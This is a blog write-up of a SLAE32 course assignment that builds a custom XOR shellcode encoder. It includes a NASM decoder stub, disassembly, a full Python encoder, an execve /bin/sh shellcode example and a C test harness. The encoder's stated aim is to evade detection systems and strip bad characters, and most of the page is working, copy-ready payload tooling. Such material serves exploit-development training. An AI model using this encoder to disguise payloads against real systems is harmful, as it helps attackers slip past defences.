Concerned Project Repository

You can find a complete version of the project that is described in this paper on my Github account.

https://github.com/DarkCoderSc/slae32-xor-encoder

Assignment N°4 - Encoder (NASM)

Assignment Goals (SLAE-1530)

  • Create a custom encoding scheme.

  • PoC with using execve-stack as the shellcode.

Creating our own encoder

Shellcode encoders are useful for two main reasons:

  • Minimize the risk of getting cough by detection systems.
  • Avoid bad characters from our original shellcode.

An encoder take a shellcode in input and output a different looking shellcode without affecting it functionality.

The main disadvantage with encoding is that your shellcode size will naturally increase.

Encoder

The Encoder is generally created using a high level language such as Python / Ruby or C.

The Encoder scramble the shellcode byte by byte using a reversible routine. Depending on the method used, the Encoder could also put effort on avoiding certain bytes we call bad chars.

When the shellcode is completely encoded the encoder wraps it inside another shellcode template called the Decoder.

Decoder

The Decoder reverse the encoding process, When the shellcode is completely decoded, it redirects execution flow at decoded shellcode location.

XOR Encoder Receipe

We will create our custom encoder using XOR encryption.

Each shellcode byte are XORed using a random byte (0-256), In this case the key is not secret and is required by the decoder.

XOR key needs to be alternate with the encoded shellcode byte.

Example:

0x01 (Shellcode Pos 1) | 0x02 (XOR Key Pos 1) | 0x03 (Shellcode Pos 2) | 0x04 (XOR Key Pos 2) | ...

The key length then needs to be equal to the shellcode length thus making the process of limiting bad chars much easier but increasing the size of our final payload by two.

Indeed, to avoid bad characters, if current XOR key position or if XOR operation result is equal to a defined bad char, we need to change the current key position value until we escape all bad chars.

Decoder OpCodes (represented by one byte or a couple of bytes) can't be placed in bad chars since they are part of the decoding process. They must be white listed.

We also need to take care of modifying few parts of the decoder on the fly.

Since decoder browse the shellcode byte by byte, it needs to use the ecx register to create a loop. ecx is obviously equal to the size of our shellcode. So we must patch that value dynamically and cleverly.

If shellcode length is bellow or equal to 2^8 (256) bytes, then we use cl (8 Bit) register to store loop counter. If shellcode length is above 2^8 and bellow or equal to 2^16 (65535) bytes, then we use cx (16 Bit) register to store loop counter. Finally if shellcode length is above 2^16 and bellow or equal to 2^32 (4294967296) Bytes, then we use ecx (32 Bit) register to store loop counter.

Most of the time if not always our shellcode wont cross 65535 bytes but just in case size above this limit is supported.

Since we are changing OpCode on the fly, we must also relocate addresses for some instructions. We also need to carefully take care of that.

Decoder Template (NASM)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Filename : xor-encoder.nasm                       ;
; Author   : Jean-Pierre LESUEUR                    ;
; Website  : https://www.phrozen.io/                ;
; Email    : jplesueur@phrozen.io                   ;
; Twitter  : @DarkCoderSc                           ;
;                                                   ;
; --------------------------------------------------;
; SLAE32 Certification Assignement N°3              ;
; (Pentester Academy).                              ; 
; https://www.pentesteracademy.com                  ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

global _start

section .text
;--------------------------------------------------------------------
; Program Entry Point.
;--------------------------------------------------------------------
_start:
    jmp short get_shellcode

;--------------------------------------------------------------------
; Decode shellcode with associated key (XOR Decoder).
;--------------------------------------------------------------------
decoder:
    pop esi                     ; Address of EncodedShellcode

    xor ecx, ecx                ; zero ecx
    xor eax, eax                ; zero eax
    xor ebx, ebx                ; zero ebx

    mov cl, 0x1                 ; length of our shellcode (EncodedShellcode / 2)
decode:     
    mov ah, byte [esi + ebx]
    mov al, byte [esi + ebx +1]         

    xor ah, al

    mov [esi], ah

    inc ebx
    inc esi

    loop decode               

    jmp short EncodedShellcode ; run our decoded shellcode

;--------------------------------------------------------------------
; This section contain our encoded shellcode + XOR key. 
; It address will be recovered using the Jump Call Pop technique.
;--------------------------------------------------------------------
get_shellcode:
    call decoder
    EncodedShellcode: db 0x00, 0x00
Identified White Chars

Each OpCode present in this decoder is designated as a whitelisted char. Since it is required for decoding process it can't be avoided.

To identify white chars we can compile the Decoder template then use objdump.

local@user:$ nasm -f elf32 -o xor-decoder.o xor-decoder.nasm

local@user:$ ld -o xor-decoder xor-decoder.o

local@users:$ objdump -d xor-decoder -M intel

xor-decoder:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   eb 1a                   jmp    804807c 

08048062 :
 8048062:   5e                      pop    esi
 8048063:   31 c9                   xor    ecx,ecx
 8048065:   31 c0                   xor    eax,eax
 8048067:   31 db                   xor    ebx,ebx
 8048069:   b1 01                   mov    cl,0x1

0804806b :
 804806b:   8a 24 1e                mov    ah,BYTE PTR [esi+ebx*1]
 804806e:   8a 44 1e 01             mov    al,BYTE PTR [esi+ebx*1+0x1]
 8048072:   30 c4                   xor    ah,al
 8048074:   88 26                   mov    BYTE PTR [esi],ah
 8048076:   43                      inc    ebx
 8048077:   46                      inc    esi
 8048078:   e2 f1                   loop   804806b 
 804807a:   eb 05                   jmp    8048081 

0804807c :
 804807c:   e8 e1 ff ff ff          call   8048062 

Giving:

0x01, 0x05, 0x1e, 0x24, 0x26, 0x2e, 0x30, 0x31
0x43, 0x44, 0x46, 0x5e, 0x88, 0x8a, 0xc0, 0xc4
0xc9, 0xdb, 0xe8, 0xeb, 0xf1, 0xff

as default white char list.

Remember, depending on the size of our shellcode, we also need to modify on the fly some OpCodes. Resulting OpCode must be also present in white char list.

Shellcode (<= 2^8)
0xb1, 0x1a
Shellcode (> 2^8 and <= 2^16)
0x66, 0xb9, 0x1c, 0xdf
Shellcode (> 2^16 and <= 2^32>)
0xb9, 0x1d, 0xde
Shellcode Length Bad char subtlety

There is a last important thing to take in consideration about bad chars.

When we generate our final decoder payload. We are placing a special OpCode (ecx counter) with the size of our shellcode encoded in hex (Little Endian). This could result in having a new bad char.

To avoid this problem, we can add an option to append junk OpCode(s) at the end of the shellcode to encode thus varying it size and then OpCode layout.

XOR Encoder Code

#!/usr/bin/python3

'''
    Jean-Pierre LESUEUR (@DarkCoderSc)
    jplesueur@phrozen.io
    https://www.phrozen.io/
    https://github.com/darkcodersc
    License : MIT
    ---
    SLAE32 Assignment 4 : Linux x86-32 Shellcode Encoder.
    ---
    Description:
        Encode shellcode using XOR.
        Support shellcode from any size.
        Support bad chars.
'''

import sys
import random
from textwrap import wrap
import argparse

############################################################################################################

verbose = False
shellcode = None
encoded_shellcode = None

############################################################################################################
#
# Define bad characters and white characters.
# 
# white characters are characters used by the decoder itself so it can't be present in bad character array.
#
############################################################################################################

#
# Bad chars list
#
default_bad_chars = bytearray([0x00])

bad_chars = None

#
# Whitelist chars (Can't be in bad chars)
#
white_chars_base = bytearray([
                            0x01, 0x05, 0x1e, 0x24, 0x26, 0x2e, 0x30, 0x31,
                            0x43, 0x44, 0x46, 0x5e, 0x88, 0x8a, 0xc0, 0xc4,
                            0xc9, 0xdb, 0xe8, 0xeb, 0xf1, 0xff
                        ])

white_chars_size8 = bytearray([0xb1, 0x1a])

white_chars_size16 = bytearray([0x66, 0xb9, 0x1c, 0xdf])

white_chars_size32 = bytearray([0xb9, 0x1d, 0xde])

white_chars = None

############################################################################################################
#
# Utilities Definitions
#
############################################################################################################

#
# Log Defs
#
def success(message):
    print("[\033[32m+\033[39m] " + message)

def err(message):
    print("[\033[31m-\033[39m] " + message)

def warn(message):
    print("[\033[33m!\033[39m] " + message)

def info(message):
    if verbose:
        print("[\033[34m*\033[39m] " + message)

#
# Convert Byte Array to Byte String
#
def bytearr_to_bytestr(data):
    return ''.join(f"\\x{'{:02x}'.format(x)}" for x in data)

#
# Convert Byte String to Byte Array
#
def bytestr_to_bytearr(data):
    return list(bytearray.fromhex(data.replace("\\x", " ")))

############################################################################################################
#
# Prepare Badchar List (Need to be done before calling EncodeShellcode())
#
############################################################################################################

def PrepareBadChars(reg_size):
    global bad_chars
    global white_chars

    result = True   

    bad_chars = bytearray()
    white_chars = bytearray()

    if argv.badchars_str:       
        bad_chars.extend(default_bad_chars)
        white_chars.extend(white_chars_base)

        if (reg_size == 8):                     
            white_chars.extend(white_chars_size8)
        elif (reg_size == 16):                      
            white_chars.extend(white_chars_size16)
        elif (reg_size == 32):
            white_chars.extend(white_chars_size32)

        for badchar in bytestr_to_bytearr(argv.badchars_str):
            if (white_chars.find(badchar, 0) == -1):
                bad_chars.append(badchar)
            else:
                warn(f"{hex(badchar)} is whitelisted. It can't be a badchar")

                result = False

    return result

############################################################################################################
#
# Encode Shellcode (XOR) Definition
#
############################################################################################################

def EncodeShellcode():
    global shellcode
    global encoded_shellcode    

    #
    # Start encoding
    #   
    encoded_shellcode = bytearray() 

    for opcode in shellcode:    
        candidates = random.sample(range(255), 255)

        found = False
        for candidate in candidates:                            
            result = opcode ^ candidate
            if (bad_chars.find(result, 0) == -1) and (bad_chars.find(candidate, 0) == -1):                  
                found = True
                break                   

        if not found:
            return False

        encoded_shellcode.append(result)
        encoded_shellcode.append(candidate)

    return True

############################################################################################################
#
# Program Entry Point
#
############################################################################################################
parser = argparse.ArgumentParser(description='Shellcode Xor Encoder (@DarkCoderSc)')

parser.add_argument('-s', action="store", dest="shellcode_str", required=True, help="Shellcode to encode (Ex: \\x31\\xe2...\\xeb).")
parser.add_argument('-b', action="store", dest="badchars_str", required=False, help="Bad chars list (Ex: \\x0a\\x0d), NULL is always a bad char.")
parser.add_argument('-v', action="store_true", default=False, dest="verbose", required=False, help="Enable verbose.")
parser.add_argument('-j', action="store", dest="junk_length", type=int, default=0, required=False, help="Append junk opcode at the end of the original shellcode to vary it size.")
parser.add_argument('-p', action="store_true", default=False, dest="paranoid_bcheck", required=False, help="Check if final payload is really free of badchars (Paranoid mode).")
try:
    argv = parser.parse_args()

    verbose = argv.verbose
except IOError:
    parse.error

    sys.exit()

#
# Setup shellcode array
#
shellcode = bytestr_to_bytearr(argv.shellcode_str)

#
# Optionnaly append junk data at the end to vary shellcode size and avoid bad chars.
#
if (argv.junk_length > 0):
    shellcode.extend(b"\x90"*argv.junk_length)

############################################################################################################
#
# Encode and ajust decoder
# (!) Retry encoding until no bad chars are found in generated opcode (during relocation)
#
############################################################################################################

shellcode_length = len(shellcode)

info(f"{shellcode_length} bytes loaded from shellcode to encode.")

reg_size = 0

if (shellcode_length <= (2**8-1)):  
    reg_size = 8
elif (shellcode_length <= (2**16-1)):
    reg_size = 16
elif (shellcode_length <= (2**32-1)):
    reg_size = 32

if (reg_size == 0):
    err("Shellcode length is not compatible with our encoder.")

    sys.exit()

#
# Prepare Badchars
#
info("Prepare bad chars list...")
if not PrepareBadChars(reg_size):
    err("Invalid badchar, one or multiple badchar are not compatible with our encoder.")

    sys.exit()

info("Done.")

#
# Encode Shellcode (XOR)
#
info("Start shellcode encoding...")
if not EncodeShellcode():
    err("Could not encode shellcode, with current badchar list. Likely reason: to much bad chars.")

    sys.exit()

info("Done.")

# 
# Upgrade ecx counter / jmp / call relocation.
#       
if (reg_size == 8):     
    counter_opcode = b"\xb1"
    counter_opcode += shellcode_length.to_bytes(1, byteorder="little")

    jmp_get_shellcode_opcode = b"\x1a"
    call_decoder_opcode = b"\xe1"
elif (reg_size == 16):
    counter_opcode = b"\x66\xb9"
    counter_opcode += shellcode_length.to_bytes(2, byteorder="little")

    jmp_get_shellcode_opcode = b"\x1c"
    call_decoder_opcode = b"\xdf"
elif (reg_size == 32):      
    counter_opcode = b"\xb9"
    counter_opcode += shellcode_length.to_bytes(4, byteorder="little")  

    jmp_get_shellcode_opcode = b"\x1d"
    call_decoder_opcode = b"\xde"   

info(f"counter opcode=[{bytearr_to_bytestr(counter_opcode)}]")
info(f"jmp_get_shellcode opcode=[{bytearr_to_bytestr(jmp_get_shellcode_opcode)}]")
info(f"call_decoder opcode=[{bytearr_to_bytestr(call_decoder_opcode)}]")

info("Checking if additional opcodes now include bad chars...")
for opcode in counter_opcode:   
    if bad_chars.find(opcode) != -1:        
        err(f"A badchar \"{hex(opcode)}\" was introduced during OpCode generation. Use option \"-j\" to vary shellcode length and try again.")

        sys.exit()

info("Done.")


############################################################################################################
#
# Build Final Payload
#
############################################################################################################

info("Build our final payload...")

payload = b"" 

# <_start>:
payload += b"\xeb"
payload += jmp_get_shellcode_opcode     # jmp 

# :
payload += b"\x5e"                      # pop    esi
payload += b"\x31\xc9"                  # xor    ecx,ecx
payload += b"\x31\xc0"                  # xor    eax,eax
payload += b"\x31\xdb"                  # xor    ebx,ebx

payload += counter_opcode               # mov cl|cx|ecx, 

# :
payload += b"\x8a\x24\x1e"              # mov    ah,BYTE PTR [esi+ebx*1]
payload += b"\x8a\x44\x1e\x01"          # mov    al,BYTE PTR [esi+ebx*1+0x1]
payload += b"\x30\xc4"                  # xor    ah,al    
payload += b"\x88\x26"                  # mov    BYTE PTR [esi],ah    
payload += b"\x43"                      # inc    ebx
payload += b"\x46"                      # inc    esi
payload += b"\xe2\xf1"                  # loop   
payload += b"\xeb\x05"                  # jmp    

# :
payload += b"\xe8"
payload += call_decoder_opcode          # call  
payload += b"\xff\xff\xff"

# :
payload += bytes(encoded_shellcode)

info("Done.")

############################################################################################################
#
# Verify if we don't have any badchars (Optional)
# Should never occurs, if it occurs it means we have a bug somewhere.
#
############################################################################################################

if argv.paranoid_bcheck:
    for opcode in payload:
        if bad_chars.find(opcode, 0) != -1:
            err("Bad char found in final payload. Possible bug affects our encoder.")
            sys.exit()


    success("Final payload is completely free of bad chars.")

############################################################################################################
#
# Print C array payload to termina. Ready for use (Copy / Paste)
#
############################################################################################################

payload_str = bytearr_to_bytestr(payload)

size = int(len(payload_str) / 4)

final_payload = "// Shellcode size = {}\n".format(size)
final_payload += "unsigned char code[] = \\\n"

for l in wrap(payload_str, 64):
    final_payload += "\t\"{}\"\n".format(l)

final_payload = final_payload[:-1] + ";"

print(f"\n{final_payload}\n")

success(f"Shellcode successfully encoded, payload size: {size}")

Usage

  • -s : Shellcode to encode (Ex: \x31\xe2...\xeb).
  • -b : Bad chars list (Ex: \x0a\x0d), NULL is always a bad char.")
  • -v : Enable verbose.
  • -j : Append junk opcode at the end of the original shellcode to vary it size.
  • -p : Check if final payload is really free of badchars (Paranoid mode).

Example

We will use execve-stack as shellcode to encode.

local@user:$ ./xor-encoder.py -s "\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43" -b "\x0a\x0d" -v -p

Test encoded shellcode
#include
#include

// Shellcode size = 131                                                                               
unsigned char code[] = \                                                                              
        "\xeb\x1a\x5e\x31\xc9\x31\xc0\x31\xdb\xb1\x31\x8a\x24\x1e\x8a\x44"                            
        "\x1e\x01\x30\xc4\x88\x26\x43\x46\xe2\xf1\xeb\x05\xe8\xe1\xff\xff"                            
        "\xff\xbf\x54\xd4\xce\x7c\x22\x0c\x3d\x5d\x86\x94\x1c\x5b\x05\xd9"                            
        "\xde\xd0\x59\x34\x42\xf4\xfc\x67\xee\x65\x3b\xe6\xea\x40\xcd\x32"                            
        "\x2c\x53\xde\x6d\x23\xc5\xcd\xf6\x7b\x33\x65\xc5\xc9\x0b\x3a\x9c"                            
        "\x5c\x2e\x9e\x4f\x44\x99\x54\xc7\x47\x5d\xb5\x22\xc3\x31\xce\x4c"                            
        "\xb3\x52\xad\x5d\x72\x89\xeb\x5a\x33\x31\x5f\xdb\xf4\xfe\x8d\x44"                            
        "\x2c\xa8\xe9\x76\x34\x64\x26\x7e\x3c\x8c\xce\xbf\xfc\xfb\xb8\x72"                            
        "\x31\x21\x62"; 

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();
}

local@user:$ gcc shellcode.c -o shellcode -z execstack && ./shellcode

Afterword

Encoder is available in the following Github repository : https://github.com/DarkCoderSc/slae32-xor-encoder

All content on this website is protected by a disclaimer. Please review it before using our site

June 14, 2020, 11 a.m. | By Jean-Pierre LESUEUR